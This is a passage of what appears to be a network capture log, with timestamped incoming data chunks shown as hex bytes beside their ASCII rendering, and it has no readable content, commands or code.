@g1+h%NWjq^kH(=6:FiQnh$Fey5'iu#ka 0z<-E7JgNWnJ,KdvptPNOq2`\|{n&'4#t3`+jtMYXda>\lP
2021-10-28 20:43:28 UTC	615	IN	Data Raw: a6 3d 47 76 88 aa e4 68 29 6e f2 dd fa a0 03 3b 87 ba 0c e2 63 f5 45 1f 22 7f 99 e1 fb d7 04 01 25 a3 24 26 63 5f cf e9 30 52 b9 c6 0a ce 3e 72 08 27 8d 8a 68 b4 92 ef cc 41 55 c1 7d 68 82 7e e9 b6 b6 96 7a dd 54 8a f7 99 0d 63 4e b9 b4 a2 15 e3 4c 84 d5 da 26 42 75 9a 92 bf 9f 7e 3e c4 9a 48 2d 3e 02 5d 43 43 40 97 a8 6e 35 16 81 78 fc aa 13 35 1e bd 7b db 7e cb c8 c0 de 10 12 fb a3 4c 5a b3 9c 75 16 fc de 01 d8 3c 65 a5 32 00 ca e6 f0 e3 60 4a 02 06 c6 08 2f bb a6 ed e7 5e a0 53 0d d2 b3 e7 28 5c c4 65 b2 6c 3e dd 0f a1 9a 09 85 d7 fd 86 0d 24 17 15 40 c5 bd 64 fd 43 f6 e7 f0 d3 59 e0 38 55 17 21 2a d0 a6 a3 47 7c 14 28 fc d6 08 26 24 59 dd 6c 4c d2 3d ad fd da 52 51 c0 06 3b d7 80 ec 21 00 66 5b 6b af 6e 5d 3a 5f 2a 29 24 c2 81 f0 7d 27 9e 0f 1b 47 67 Data Ascii: =Gvh)n;cE"%$&c_0R>r'hAU}h~zTcNL&Bu~>H->]CC@n5x5{~LZu<e2`J/^S(\el>$@dCY8U!G\|(&$YlL=RQ;!f[kn]:_)$}'Gg
2021-10-28 20:43:28 UTC	631	IN	Data Raw: 0e 06 1a 79 a6 52 6f cd 51 b6 2f d5 5f c1 c8 e6 3b aa b8 d5 94 2a 80 0f 5a 89 3d 0a 59 41 2c 1e 64 78 d2 19 da 42 6e 1f 04 92 6f 57 ae 21 f6 14 11 cb 7c c5 5f 08 b8 9f 06 b9 fc 02 3b c7 8f 42 9a ff 55 7f ca 3e 14 f5 c2 fe db f4 02 90 e7 dd f0 1c d7 39 ec 45 d6 2d 34 bc a6 b7 89 6b f6 8d 5b 1a d9 a9 08 66 e1 81 02 17 49 8d b6 56 9d 69 0f 9d a0 93 a8 a2 9b b3 19 a3 c8 c9 aa 9a 1d dc 11 8e 0c 75 e2 6d 07 df 27 46 f4 35 9e e2 de 88 7b 63 f8 49 64 74 b4 cb a1 ca dc 9f b9 d8 3d 5c 86 5c 70 85 5e 96 7d c4 fd 86 8a 6a 8a 1d 32 87 aa f8 4a b4 91 8f 8b c9 e6 a7 e7 03 41 b0 7b b6 e6 dd 43 ec fc 12 76 3b 37 2d 69 e9 ba 68 02 cd 82 ab 33 d8 bb 91 8b 36 36 f5 3f ea c2 71 7e be 67 a1 70 e4 f2 f6 c5 ee 78 57 75 f8 a2 6a e9 c4 e8 51 b3 95 5c 52 3d c3 71 19 5a 4f 6a 0b 11 Data Ascii: yRoQ/_;*Z=YA,dxBnoW!\|_;BU>9E-4k[fIVium'F5{cIdt=\\p^}j2JA{Cv;7-ih366?q~gpxWujQ\R=qZOj
2021-10-28 20:43:28 UTC	647	IN	Data Raw: c9 5a 47 41 38 cf ff 44 7f e2 6c 89 f7 3f 48 ab 2e 87 6b 2b 79 da 17 ba 9a a2 9a 49 7a 9c 29 0b 6f 39 e1 7c fe 29 4a c6 ba f0 79 85 d7 fa 9f 42 2a 19 ca ea ec 5d 33 a6 60 db f3 c3 ed b7 6f 40 ad aa 67 76 59 32 e1 43 45 0e 26 7e f2 07 91 8e 4f 8c bc a8 67 5f b4 40 a7 63 95 49 07 f5 ce 34 8e 38 b9 ef ab d8 f3 da 5e 63 b1 0f 39 6c b0 36 d5 24 2e f1 fe 16 6a 96 aa 08 80 9e f1 53 90 8a 08 46 27 89 c1 f4 59 28 7a c5 ab 93 3b a6 cb ed 61 53 5a 52 13 93 7b 47 fd e9 94 ec ff 99 e2 87 ab f4 5e 04 6e a8 9b da 01 24 93 72 f9 2e 54 f5 2e 56 97 45 bb 59 f9 59 3c 24 86 17 5d 4a 16 10 09 8a ed 9a bf df 02 8f c5 7e 91 27 24 9a fd 7c de 65 2a ef 74 fd 15 17 0f f6 e0 5e 74 b2 d8 36 09 10 4c 79 e3 39 6a 23 19 1d fc a1 30 28 3d 85 f5 36 91 c7 58 19 ea e5 e1 df 18 c3 06 68 c1 Data Ascii: ZGA8Dl?H.k+yIz)o9\|)JyB]3`o@gvY2CE&~Og_@cI48^c9l6$.jSF'Y(z;aSZR{G^n$r.T.VEYY<$]J~'$\|et^t6Ly9j#0(=6Xh
2021-10-28 20:43:28 UTC	663	IN	Data Raw: 69 d2 cc 76 80 96 93 7a da 61 22 d3 aa d2 41 66 1b ae a2 fe c7 65 f0 90 0f 8e 47 0e 39 8d ac c1 35 87 37 55 cd fe 35 1a c1 a0 00 3c ec f2 6d 6b a7 2b d5 0c 1d 7a ee 49 69 de 11 93 69 59 d7 c2 bf 18 0e a2 47 8a 46 a7 8e e2 6b 8e 08 c7 c1 30 3e 87 2a 98 22 36 19 6b 81 17 b4 cb b4 e2 a6 de c9 7a 8a 2c 69 38 bf 6a 39 06 de d0 8d 51 2a 25 7a 0f 1f 82 5f d8 35 2e 2b 95 23 89 7a de 4d 4d d7 aa 5f 0d ef 95 19 ab f5 31 1d 13 90 fe e7 52 b1 34 ea 5c 75 17 6e 85 2e 23 4a ea 6d 84 8a eb c9 c2 a9 a9 07 a0 30 8c 0a d8 f5 9e aa b6 1c 4e a2 f3 2e fc ed 54 30 33 2d ee aa 9c 85 d2 0d 97 38 80 e7 c5 a5 a4 58 be 21 b3 b8 8a bb 09 18 70 4e ae 09 09 98 90 0c 85 9a fc 5e f3 b3 64 14 b1 6e 8a 34 be fa 96 45 78 6d 87 e8 24 c5 b4 b5 b1 4e 01 25 97 0d 53 82 2c fd 93 b0 42 90 18 a4 Data Ascii: ivza"AfeG957U5<mk+zIiiYGFk0>"6kz,i8j9Q%z_5.+#zMM_1R4\un.#Jm0N.T03-8X!pN^dn4Exm$N%S,B
2021-10-28 20:43:28 UTC	679	IN	Data Raw: 53 23 77 3e 2f 45 52 92 7e 6f 3a eb fb 1c ee 7f 33 0e 7c bd 77 fa b8 0f 53 f1 c7 d3 ca b9 e5 07 e9 cd 41 2e 89 e4 bf 3d f8 5b 17 9e 44 cc 15 14 44 fc c8 ba 53 82 cc ff e1 a4 74 74 b7 cf 77 b0 27 42 02 09 4e b0 f6 fc d5 43 b0 9a 59 3b dc 95 e1 59 23 0e 6b 4a 43 0d 39 8f c6 45 2b 0b a5 f6 df 31 4f ee 22 53 6f b0 81 a4 cd 6b ab 26 ed 3e f1 35 d1 2e 91 b7 0c 9c e2 36 22 61 11 e9 72 7f 07 ea 6f 07 43 78 a7 b4 44 88 06 a0 f9 0d be 77 d4 37 ff 75 80 55 35 db c7 97 5e 27 8c c8 35 a9 6f dc 39 cb ff 7b 26 5b 2f fd b3 ff d5 67 94 c0 42 05 1f 09 f4 26 fa 62 39 5d 6a d6 60 9d 95 40 1b 6f 10 45 cd 2d 5e f6 13 2e cf 21 c6 5b 90 3f b8 82 2f dc 6a 6e 0e 4d e8 06 8a 63 d4 fa 1c dc bc 10 08 9b 68 60 4a 70 b1 5f 27 a2 30 17 5c 2d 1e c2 9d ac a2 51 d3 12 56 ea 9b 38 82 6d 5a Data Ascii: S#w>/ER~o:3\|wSA.=[DDSttw'BNCY;Y#kJC9E+1O"Sok&>5.6"aroCxDw7uU5^'5o9{&[/gB&b9]j`@oE-^.![?/jnMch`Jp_'0\-QV8mZ
2021-10-28 20:43:28 UTC	695	IN	Data Raw: bf e5 80 4b 55 c5 f9 2f d7 6a 6c 56 06 24 b5 7a aa 68 7c 2d a6 f5 a6 01 a8 a9 b7 48 b6 2f 75 0d cf 7f 34 a1 90 ef af 99 85 89 6d 20 20 f2 ec d1 48 b5 5c 8a 38 d9 89 57 30 18 8f 69 c0 9e a0 9f e4 77 c0 15 96 4c e3 e9 72 44 58 56 3f b4 b8 f0 ea 9b 9d 17 5b a2 2f 02 e2 bc 1f 7a 1b 85 08 7e c7 2b 62 5a 13 94 a9 cc 53 d5 87 a9 d7 32 f7 d1 56 eb ca ac a7 c6 83 f1 cc 84 c2 13 18 58 29 0c b8 cf 3c 07 03 dd d9 19 f4 26 ad 66 67 66 de c7 85 ce 01 61 7a f2 9b 3b 54 79 cf 37 e8 05 e0 ea 07 74 0b a9 78 13 25 99 fc 2f 50 cb b6 b7 08 6e 6b 6f aa b3 39 b1 ba c0 c1 28 41 72 c4 32 72 a7 e8 6f d2 4a ab 23 9d 06 54 4d 36 da 3e 78 4b 77 8c 3c 87 92 f4 0e 58 a3 56 58 6d 4d c0 07 29 40 bb 27 d2 9c b2 e5 b3 f3 cd c6 53 a1 32 3c 83 2b 66 7f e4 20 f4 79 21 25 e1 2d 81 62 33 b0 69 Data Ascii: KU/jlV$zh\|-H/u4m H\8W0iwLrDXV?[/z~+bZS2VX)<&fgfaz;Ty7tx%/Pnko9(Ar2roJ#TM6>xKw<XVXmM)@'S2<+f y!%-b3i
2021-10-28 20:43:28 UTC	711	IN	Data Raw: f3 da 05 85 ad 8e 00 65 de 43 cb f3 3b 35 db 06 dc db 36 4a 3e ff 7e 57 d5 03 a0 34 71 4f ae 78 fc 48 18 61 a3 bc 3a 7a a9 e8 7c b6 f9 5d be 1a 62 db bf 06 d9 0b 1a 0e 7c 45 40 15 9b 28 c2 b7 20 95 b5 a6 04 cc 22 76 e1 ee e8 86 c8 38 f7 d2 06 8e 8d ed 32 e3 aa de f9 e3 6a df d1 4d 43 f9 b4 81 85 81 0f 2a 14 2c f9 8c 66 a8 4e 8d d2 2c 89 16 4a b3 cf 75 7b 83 0b f9 0e 94 0e 37 2f f9 f4 5b 9d 82 b9 1e e5 d7 86 cc 51 c9 2c e8 28 60 94 c3 27 9a 13 df 5d ab 20 85 5b a8 8c e8 96 d6 6d bc 50 5f 6c da 8f 88 bf 4c 21 70 8b e9 8c de cc 71 6f 60 14 6c e5 ac 9b d5 09 47 62 6d a3 65 42 78 b5 42 9c 88 17 4b f7 a3 e6 bc 8c b7 4a 16 93 e8 b1 f9 2e 29 ab 85 2b 38 a0 25 83 8c b9 d4 86 64 5b 08 26 1d 46 24 cc 8d ca a8 93 89 e4 ec 85 2a ad a7 3b 96 98 e0 dc df 85 0d c7 8a af Data Ascii: eC;56J>~W4qOxHa:z\|]b\|E@( "v82jMC,fN,Ju{7/[Q,(`'] [mP_lL!pqo`lGbmeBxBKJ.)+8%d[&F$;
2021-10-28 20:43:28 UTC	727	IN	Data Raw: 1e a4 68 48 0c f0 48 94 76 86 66 ee 17 8c 0f 57 4c 6f 14 9e 25 e9 89 3c 31 0d b0 71 df 28 f8 7f 1b 0a 61 20 50 70 60 ef 50 a4 96 b9 d6 62 d5 e2 b6 cc 2d 23 f1 33 9d 5b ff cf 3a 94 7d 0c 27 01 9c ec 47 d3 bd cc 73 78 93 5b 19 22 b0 cd 7c 44 6c 8c e1 45 8c dd da ec 60 e8 e5 f6 46 e1 ad f4 69 82 87 25 bc b9 a2 8e c7 99 9c 56 f7 06 c6 71 91 f8 e1 ba 9d 24 23 07 2a c9 14 7b 49 b4 1e ab 61 29 e7 06 cc 20 91 01 43 94 62 de c8 65 67 cf 38 58 f9 ff d0 4f 3b 44 8b 96 a9 66 6c 81 d8 b9 95 fe 32 18 8b 8b c7 4f f4 10 5e 67 e0 28 8b 21 9e e1 7b 03 5c 0a 86 db f5 90 95 7c 86 88 1d 09 32 40 60 02 1f 64 9d ed 17 7b 68 db 04 72 c6 a0 66 06 ff b0 90 a9 9b 14 d4 80 e2 11 33 de 1e d4 fe 6d d7 18 d4 fc 34 f4 ab bb 51 38 55 58 ec dc bb 18 90 07 bc 02 66 a6 86 a4 ab c4 17 02 62 Data Ascii: hHHvfWLo%<1q(a Pp`Pb-#3[:}'Gsx["\|DlE`Fi%Vq$#*{Ia) Cbeg8XO;Dfl2O^g(!{\\|2@`d{hrf3m4Q8UXfb
2021-10-28 20:43:28 UTC	743	IN	Data Raw: 0a a9 21 f9 ed 2b 50 29 ee c3 00 ad 09 46 2d c9 ed f9 a2 dd 6d 46 50 ec 04 c9 77 53 f0 6c 31 c0 38 b9 b0 a2 4b 01 8f 1a 76 20 c0 80 30 bc 54 d0 5a c4 9c b3 42 ec cb a5 b0 fa 19 03 4e d2 e5 06 3c 1a 4c 9c b0 66 2a 16 90 d4 c9 dd 6e 42 bf fa cc f7 c0 1b 10 9b 65 05 5f fd a9 c0 db fd c2 61 31 58 a7 40 f4 61 a9 e2 70 32 fc b5 52 e7 0b 92 2a 61 33 ef f2 61 c3 98 f2 33 da f0 73 87 d3 20 68 ce 96 6e d5 45 aa 56 1e b8 6a 48 9e 90 f3 8f 2c ba d4 95 d0 39 49 27 40 b5 e3 79 8d 0f 60 eb 13 cb 9f 9c 13 9c ea 2d fe 4a f9 3c f1 1d 6f bf 4f 93 56 e7 bf c1 01 3d 18 31 b0 b1 c8 a2 0f 54 3d 38 a8 25 9f aa 85 fe 86 45 9d 31 c7 7b 8a 42 3a 66 bb 0c 29 90 8d 1c 5d be ae 21 d9 cd 36 ae 40 df 35 6c 2c e9 20 ab 25 00 9b 36 61 45 82 b1 3c 9c e4 86 60 9c 94 26 82 32 30 e2 55 b5 19 Data Ascii: !+P)F-mFPwSl18Kv 0TZBN<LfnBe_a1X@ap2Ra3a3s hnEVjH,9I'@y`-J<oOV=1T=8%E1{B:f)]!6@5l, %6aE<`&20U
2021-10-28 20:43:28 UTC	759	IN	Data Raw: 4c 91 ed c2 7d 7f 92 14 23 ab 23 02 07 96 60 21 e7 3b c0 5d 05 30 12 6a fa de 08 f9 b3 ac b9 3d 2e 09 a9 72 b0 47 13 f1 e9 e9 e9 d9 43 b6 96 c3 c8 c8 77 2d ef 58 32 7d 02 14 3d 5c 38 08 6a ff ff b7 95 24 4c 2a 1c 7c 9e 7c cf 72 ce db 1d 92 52 62 6b 07 96 1f 91 a0 48 69 5c e5 dc ac e2 e5 bf 60 00 65 89 6c f1 19 24 67 b3 96 4e 3f 95 da 12 35 24 90 80 9e 72 22 92 50 d0 c2 a5 c4 32 39 41 85 75 73 04 ed 0f 2b 8a 42 43 16 2b 77 cc 5e 9e 9b 83 bc 36 f3 3d b7 de 80 bc 1b 96 e5 59 a7 ce 12 c5 a7 bd 74 2d ba bf f6 93 57 be d5 60 1b fc b4 50 96 80 e6 2d 56 19 61 76 d1 f3 7f 4a cb 13 39 9d 31 5e b6 cd 52 af 42 c7 ca b0 b0 ac 80 fc 2d f4 68 73 4b b4 5c 2d d1 65 74 a8 27 64 c6 40 3a 6a 51 e9 0e 5b 3d 87 a3 9f 49 73 25 55 bf a7 62 21 9f 6b ef ac 30 19 fc c6 55 ef dd 77 Data Ascii: L}##`!;]0j=.rGCw-X2}=\8j$L*\|\|rRbkHi\`el$gN?5$r"P29Aus+BC+w^6=Yt-W`P-VavJ91^RB-hsK\-et'd@:jQ[=Is%Ub!k0Uw
2021-10-28 20:43:28 UTC	775	IN	Data Raw: f8 da 3b a4 72 a1 b5 bc 6a 93 ec 14 36 2d 95 a7 e5 5c 7b a8 79 34 76 a8 6c 18 32 2e c8 97 39 26 c9 92 63 ec 73 3f eb f9 7f b2 4d 07 bc a3 be 1a 63 e5 a7 10 74 11 40 68 d0 53 4b 72 f2 f9 ff e2 56 12 87 9b 6b 91 7d f9 5d e7 00 3e df 38 f8 b0 dd c6 69 5d 26 27 60 19 a4 46 88 76 a9 83 fb c3 79 be a0 8a 01 36 ac 77 c7 05 24 71 7c 0d 62 c6 38 89 a6 6d 8d 0e 60 70 b8 7f 57 e6 88 32 fb c9 2a e3 89 c3 2a 2a 1e df 37 ff ae a2 9d aa 3b 82 40 d4 a9 b7 9b a0 2e 15 a1 ac f7 40 92 75 cd 52 6d f0 36 d7 aa 8c 6a 68 18 0f 39 c8 73 37 ca 85 94 84 15 10 cc 28 73 ef 81 fc 9f ee 28 05 b2 a1 27 e2 63 81 4a 25 90 47 4f 22 5c aa a5 18 0a a5 84 19 16 e0 98 02 89 d4 7d 49 79 59 1c 86 57 36 27 02 aa e3 24 20 23 e6 f4 07 c0 69 8b 34 8d 67 d4 65 73 ed 89 7f cc 4d 55 0a 0c 61 4c c0 5b Data Ascii: ;rj6-\{y4vl2.9&cs?Mct@hSKrVk}]>8i]&'`Fvy6w$q\|b8m`pW2***7;@.@uRm6jh9s7(s('cJ%GO"\}IyYW6'$ #i4gesMUaL[
2021-10-28 20:43:28 UTC	791	IN	Data Raw: 14 1d 96 ec d9 3b a4 cf e9 2e 6e aa 59 a2 da c8 9c 17 ec c5 08 3a 78 38 ac dc df 84 ce 11 e3 a5 ba 3c ac c6 7f 38 da 45 46 50 35 2f 5f ca 20 97 e7 c9 75 ec 4c d0 d9 43 ae 46 ef 96 95 af 2a f9 17 81 ab 88 47 81 b1 46 2c 1d 05 3d 5c f7 6a 2b bb 6b ec 0f b5 a9 2c 91 d9 b2 ca 4f 3f dd b4 80 2f 42 b2 cc fa cc 1f fd 7e 94 60 b3 2f cd 78 c9 f9 66 98 22 77 2a 4d ed fe 97 fb ab f9 bf 05 6e 3b 05 1d 16 27 db 50 0b 1a 7f 8d b1 3a 1c 2b 8b 48 c2 4d dc 4b f4 71 45 14 cc 52 ae 35 2a 1c 06 37 9a 1f b1 13 1c 4b 30 7b 02 c3 cd 76 67 fd 79 52 2f ef 1a 30 f3 d7 5f 70 ed a6 67 7b 44 fc 6f da c4 2a 38 e8 ea aa 96 76 4d 51 12 79 f5 19 41 8c 6c e7 0c 9c c3 da a5 fc 90 95 8e cf bd 5c ca 7a 12 d2 eb b4 36 9f c9 48 f1 5b 55 18 1b b7 27 8f 2b 98 45 23 d4 b0 70 9b d9 24 e4 e5 ba fb Data Ascii: ;.nY:x8<8EFP5/_ uLCFGF,=\j+k,O?/B~`/xf"wMn;'P:+HMKqER57K0{vgyR/0_pg{Do8vMQyAl\z6H[U'+E#p$
2021-10-28 20:43:28 UTC	807	IN	Data Raw: 7f 3c b4 6a ba 71 06 72 8f e1 93 92 ad 7f 26 75 de c9 e5 ec 88 5a d0 cb 28 3d 8e f8 b8 c0 47 8d 72 43 39 ab 31 52 c7 41 96 ab 01 c9 a2 63 61 ff 4f dd 45 d8 57 73 7b 72 d0 c5 95 26 40 16 e9 ab 7f a1 27 13 83 f1 66 9a 74 56 c8 17 b6 24 eb d3 85 d6 e8 5f f2 cb 74 2f 7c 64 5a e3 cc 75 64 72 28 22 f2 97 69 db 52 1c 91 40 47 01 cf a3 8a 3c 11 17 6a 6c 82 7d a4 1a 85 5f 6d e4 28 4c c0 71 c2 16 42 aa 48 f1 2c a8 44 d5 05 9e 2b 2c 0c 75 8d 6d d3 f1 16 15 b3 65 6e 70 03 29 f0 f8 68 13 0f 8c df 9d 49 cb 61 bf 30 ea bf 8f 00 2a 02 67 d9 de 01 f5 ff 58 c2 54 a9 61 52 34 fb 76 dd 3a 73 32 5a 37 8b 0e 40 f6 ee b0 04 19 e2 d6 9e 4b ce bf e4 3d 5d d6 b1 8e 41 f3 de 38 47 ac dd 10 e5 d6 35 9d f8 26 63 b1 db 28 ff d3 b8 97 5e df fc 2c 20 96 9c 9b 71 96 35 9d 5a f8 40 2c c8 Data Ascii: <jqr&uZ(=GrC91RAcaOEWs{r&@'ftV$_t/\|dZudr("iR@G<jl}_m(LqBH,D+,umenp)hIa0*gXTaR4v:s2Z7@K=]A8G5&c(^, q5Z@,
2021-10-28 20:43:28 UTC	823	IN	Data Raw: 2b f8 af ad 59 05 97 2d 44 c6 97 6b f0 b5 75 27 46 82 8e c4 61 2a 68 85 aa ba 4a 2b ea da 23 96 c7 54 bf 3c 45 80 48 dc c9 8d 2f 4d 3a e6 7e 3c e2 58 e1 cd 98 06 f6 e9 52 ac 54 e9 8b 41 6a 74 cc 02 84 9b 2e a8 07 0d ef 1d 37 32 9d 15 07 63 2a bd 34 8a 3b 91 78 ef a5 b2 9c 4c 17 41 73 73 2a 40 b6 2b 9e 47 28 91 be d2 5a 65 80 79 c8 5a 78 72 5b 1b 2b 27 04 fa de 9d a6 14 4b b3 43 50 e2 10 af f3 2b 2e 64 39 2e 1a 40 4b 32 0d 48 ab 08 f6 cd b8 6c b9 3d 9c 68 16 42 ac f9 8c 03 9f 0e f5 2e 00 d9 55 4a a3 60 34 e8 72 ae 61 5f 6c 7b 2f 83 55 4e e3 04 62 1d 80 36 ba bf 3a dd d9 41 7b 6c 12 68 90 ec 3f 26 08 58 3e fd bd 06 ec a5 6d 59 f3 3f 7c 61 c2 59 97 3e 81 d2 a9 19 db 0a c6 ad 49 61 af a0 cd b8 09 e3 d0 ed c4 e4 90 64 b0 34 51 a4 08 d4 ac 47 45 28 bb 66 72 36 Data Ascii: +Y-Dku'FahJ+#T<EH/M:~<XRTAjt.72c4;xLAss*@+G(ZeyZxr[+'KCP+.d9.@K2Hl=hB.UJ`4ra_l{/UNb6:A{lh?&X>mY?\|aY>Iad4QGE(fr6
2021-10-28 20:43:28 UTC	839	IN	Data Raw: 62 06 43 f6 d6 2f f5 28 07 4c bc 70 ec 4a 06 71 09 96 55 a7 99 d0 03 04 52 33 8e 60 78 b8 73 bd a4 81 f6 83 05 f9 d7 8a 48 c1 f6 d3 77 c1 be 02 7b de 36 48 30 84 4e 6c 7b 9a c2 66 a3 e5 34 83 94 a8 ce ea 4f 77 ed 5b 18 dd 8c e4 3a 98 0a 38 fe e4 a5 e6 7a 3b 58 45 d8 86 0d b8 ac 1a 65 51 b9 c1 2e c9 97 61 f4 2b 74 b1 a0 a2 ff 8a d3 ad 47 9d 0b 87 19 c5 ce e2 d4 cc 98 4e e0 5f d7 5b dc 8c 7c cc a6 6e 9d 66 4c 6e c7 e8 ef 13 9a 40 eb e7 76 55 ce 6b 99 38 4a 7a 9b 2b 2c 88 10 ac c0 b2 b5 a5 eb 47 e1 5d c3 a6 47 c4 48 e3 6d a2 21 3b 37 b4 0a 9a 2f 53 2e f6 94 b0 91 bd 7e c9 a9 ba 5f 28 05 75 92 be 27 9b a1 2f ca 57 b6 00 69 cc af fe 36 56 ba 34 40 60 3a af 3c 8d b6 c2 f4 e1 3f 7c ac ae f0 85 a8 6c 6e 38 66 fa cb 6c 46 08 9c 93 ca 5c 4c 83 bf 67 3a c7 94 b3 d2 Data Ascii: bC/(LpJqUR3`xsHw{6H0Nl{f4Ow[:8z;XEeQ.a+tGN_[\|nfLn@vUk8Jz+,G]GHm!;7/S.~_(u'/Wi6V4@`:<?\|ln8flF\Lg:
2021-10-28 20:43:28 UTC	855	IN	Data Raw: 1a 3c f7 55 1f 4e 53 c5 19 88 c9 35 0d 92 f2 9e cb b9 a4 ad 85 af b1 c9 05 dc f0 65 43 dd f3 80 99 9d 82 dd 7b f6 c6 7d 7f bb d8 c6 ee aa 96 4e 10 f3 d3 31 62 23 56 86 e5 ab fd 24 dd 5f 7f db 35 e6 2f 26 1f 04 d3 e4 e3 5a 75 4b 99 ad 71 51 c4 b7 9f c3 62 fe eb 9b 34 f3 a3 f9 25 0b eb 26 52 d3 60 2b b1 fa cc 69 0e fd 0f 77 a9 00 7a 90 4e 1f 3c 7d 59 d7 ce 11 71 cc 05 6c 59 9f 3c 25 ba bd 54 e0 c3 b6 63 e0 17 1b 75 31 58 9c 7d 17 86 d6 54 c1 7d b8 9d 7f d8 0c 69 12 6b a2 4e 88 0a b1 9c c2 b8 75 2d 82 43 3e bb 6e d8 cf 90 03 b1 ec 26 c9 b0 56 26 c9 ab 03 16 17 58 e7 26 7f be bf bb 70 b2 6f 48 46 df 0e 5e 24 4a 6d b4 28 df df a5 07 47 a7 ec d7 f6 a9 2d 37 65 2f 58 07 91 f8 e5 20 bc 4b b9 2d ea 26 f6 cb 78 45 44 c2 ae de 42 49 a2 29 a2 2a e9 7b 5e 92 31 14 b7 Data Ascii: <UNS5eC{}N1b#V$_5/&ZuKqQb4%&R`+iwzN<}YqlY<%Tcu1X}T}ikNu-C>n&V&X&poHF^$Jm(G-7e/X K-&xEDBI)*{^1
2021-10-28 20:43:28 UTC	871	IN	Data Raw: 30 bd 78 bc 80 17 06 1e a4 7e 8f 24 d4 5f 1d 01 52 01 ac 5f 7c af ef 80 69 88 9c d9 8a 5c 77 34 e7 18 3c f0 61 ac 19 23 67 9e b5 73 82 67 0e d2 65 7d 20 bd 04 a8 01 cb 3d a4 af 30 59 eb 79 9c 66 be 2f 23 54 44 6a 3d 1c 1a 1b b8 75 e5 45 84 ae 70 7c 98 29 33 0f 7a ad 06 53 17 2d f6 90 de fc 79 bc 38 3f e1 92 1e 70 77 ec 2a 3d d2 b4 61 e9 ba aa fc 92 4d 12 8c fb 99 b0 1e fe b4 e4 37 6a ed 28 fd f3 67 76 22 3e be d4 d9 28 2d bb d2 38 02 ec e3 d5 b5 cb 50 4a 1d ff 24 e3 32 75 d2 39 3e 5d 72 fc 1c 22 fc f5 c0 16 bd 6b 3c c0 6a 41 cb 74 e6 37 7b 75 28 be a9 6f 82 23 c8 09 df 27 f4 32 46 63 dd 5c 1e 38 b2 2b 89 6a 59 dd 57 2f fc f5 6d a6 b2 d1 c0 4b b0 f9 61 3b 52 88 fe fc 95 1a 2b 2c 1d 0f 06 25 32 76 62 45 6f 86 76 a4 4e 6c 7f c6 47 ee 58 f8 6c e4 b8 4c 85 da Data Ascii: 0x~$_R_\|i\w4<a#gsge} =0Yyf/#TDj=uEp\|)3zS-y8?pw*=aM7j(gv">(-8PJ$2u9>]r"k<jAt7{u(o#'2Fc\8+jYW/mKa;R+,%2vbEovNlGXlL
2021-10-28 20:43:28 UTC	875	IN	Data Raw: 5c f1 36 51 3e b8 61 1d c3 a1 5c e4 00 1e b0 53 bd 31 82 fa c5 3c b2 e3 6f 3e 56 53 45 78 a6 19 34 8d 08 13 ee 78 5f 1d ce 42 ce 1f c1 94 03 50 78 1f ab 5d 91 b1 24 0d d2 32 a6 96 b3 a3 17 ca fb 39 79 a3 ed 79 d9 c0 75 e9 ea 9c ae 87 3e bf 38 12 de f4 0f f5 db ad 1e 72 09 72 6b f5 99 49 c2 b8 11 2a 87 0f 2e a2 58 b6 48 3b 7d d2 66 af b7 9a 6a 3e 64 e6 2a c7 53 73 a8 ad 5b de 38 7d 50 5a 6f da f8 c2 7c aa 15 4b 19 2f 23 6f 78 3c e2 6a 94 5c 0c 8e 2d ef f1 5c 21 c1 1d 9e da b2 cc 78 33 91 63 66 25 8c 6b 9a e6 f4 a0 50 e4 9a 53 40 ef 69 cb 5b ad a2 4c 86 56 a8 27 b9 7f 85 2d d2 85 df 1b a9 e1 7a 6b 96 28 85 56 cc 5a af 21 06 e9 6e 24 45 2b 6f 1c a9 57 8e 0f 91 9a 82 2e 3b bb fc 20 25 94 d3 42 e7 cd d5 57 3e 8a 53 cc e0 8f 8e a7 d8 e2 d4 1e e0 51 36 b6 07 0c Data Ascii: \6Q>a\S1<o>VSEx4x_BPx]$29yyu>8rrkI.XH;}fj>dSs[8}PZo\|K/#ox<j\-\!x3cf%kPS@i[LV'-zk(VZ!n$E+oW.; %BW>SQ6
2021-10-28 20:43:28 UTC	891	IN	Data Raw: f5 91 49 e6 2e 58 c5 72 71 21 12 90 87 67 77 66 fc 7f e8 bc 1a 49 f7 50 c6 95 bd d3 14 35 a3 da 69 12 16 c5 6c 42 e1 f2 7b ea 57 34 ad 94 41 d2 a0 ad 81 ce 89 e2 0a e8 da 96 18 a3 6c 86 c3 d8 27 09 63 45 7b ce b3 f2 d9 61 9f 69 ef 6f 6e 23 80 53 ef 3c b3 de d1 35 29 21 4c 65 02 0b c5 1f 22 a3 b0 dc 8e c1 d9 3c 18 3c 7f 50 91 c6 03 c8 ab 1f 84 f5 c1 08 bf e7 d1 c3 0d 90 f3 9a 8a b5 19 62 67 e6 a7 bc 46 ec b2 53 0d 8e 64 67 92 a5 28 1f 6b 6a b3 ac 47 e7 3c 9d 8e 61 c5 b9 d1 1e 40 cd 8a 9e 33 d0 6c db 1d df 57 a1 82 b8 60 ab be 63 ff 5b 45 56 1c 74 ac 97 a4 76 e4 2f b0 58 fe 94 f3 28 a7 56 a4 c4 65 2a 72 29 c7 2f da d2 c8 80 dd 7b 3b 98 64 63 4e 8b ca 5a 90 16 d9 2a 50 67 dc d9 62 a5 4d 23 24 a2 3b a3 22 6f af 06 28 32 84 03 96 e9 dd 6e 42 c2 f9 5c 96 fb 9f Data Ascii: I.Xrq!gwfIP5ilB{W4Al'cE{aion#S<5)!Le"<<PbgFSdg(kjG<a@3lW`c[EVtv/X(Ver)/{;dcNZPgbM#$;"o(2nB\
2021-10-28 20:43:28 UTC	907	IN	Data Raw: 34 c7 ff 3d 9e 58 e8 ca 46 8d 59 5a 98 ce 54 3c 50 7f 7f 2e 9a 08 b8 43 dd 94 3e 09 03 cb ed f3 3f ed 14 c5 28 8a fb 1e 89 55 60 6d 9c 8f 7c b1 dc d3 c6 6f 02 79 44 ca e0 f0 4a 77 bb d9 e6 56 6f 76 fe 90 b1 66 e2 6c 9e f5 c5 bd 3b 29 81 7d 73 81 da c0 da 45 e6 68 5f db bd cc a3 1f 99 62 67 76 33 dd f6 f0 e0 4c da c9 54 cd 00 e1 cc af 38 fd a3 93 db 10 8a e6 b3 0b fd 04 47 7b 8e 7c 13 cf 9c d0 4e e7 f8 dd 56 0d fa c9 f0 aa f2 06 a4 6a f9 e1 aa 90 c6 e2 c9 45 6e 08 1f ba 9c 57 c1 72 e0 bd de 09 10 e8 93 a9 7a 37 8e b6 55 9d 41 ff 47 9b 95 20 7c e6 ff 72 70 1d e4 62 19 5f a4 59 b5 6e 30 99 1a 